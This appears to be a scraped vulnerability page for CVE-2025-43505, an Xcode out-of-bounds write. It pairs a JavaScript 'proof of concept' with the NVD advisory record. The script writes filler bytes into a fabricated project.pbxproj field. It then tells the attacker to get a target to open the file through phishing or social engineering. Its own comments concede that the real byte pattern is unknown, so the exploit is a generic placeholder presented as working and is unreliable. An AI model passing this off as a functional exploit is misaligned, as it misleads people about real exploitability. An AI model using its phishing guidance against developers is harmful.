CVE-2025-43505

// CVE-2025-43505 PoC - Malicious Xcode project file trigger // This PoC demonstrates the structure needed to trigger the out-of-bounds write // NOTE: This is for educational/research purposes only // Generate malicious payload that triggers OOB write in Xcode file parser function generateMaliciousPayload() { const payload = Buffer.alloc(1024); // Craft specific byte pattern that triggers parser vulnerability // The exact pattern depends on the specific file format parser being exploited payload.writeUInt32LE(0x41414141, 0); // Magic number payload.writeUInt32LE(0x00001000, 4); // Size field payload.writeUInt32LE(0x00000001, 8); // Type identifier // Overflow data - write beyond expected buffer boundary for (let i = 16; i < 256; i++) { payload.writeUInt8(0x41, i); // 'A' characters } return payload; } // Create malicious Xcode project structure function createMaliciousXcodeProject() { const maliciousPayload = generateMaliciousPayload(); // Simulate project.pbxproj file with embedded malicious data const projectFile = `/* Begin PBXProject section */ 1234567890ABCDEF1234567890ABCDEF12345678 /* Project object */ = { isa = PBXProject; mainGroup = 1234567890ABCDEF1234567890ABCDEF12345678; /* Malicious payload injection point */ customData = "${maliciousPayload.toString('base64')}"; }; /* End PBXProject section */ `; return projectFile; } // Usage:诱导目标用户打开包含恶意payload的Xcode项目文件 // Attack vector: Social engineering, phishing, or malicious download console.log('Malicious Xcode project file generated'); console.log('Target must open this file in vulnerable Xcode version');

{"cve": {"id": "CVE-2025-43505", "sourceIdentifier": "[email protected]", "published": "2025-11-04T02:15:53.467", "lastModified": "2025-11-04T16:21:54.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An out-of-bounds write issue was addressed with improved input validation. This issue is fixed in Xcode 26.1. Processing a maliciously crafted file may lead to heap corruption."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apple:xcode:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "AFE80301-44C1-41B8-B3CE-058B8536D964"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125641", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}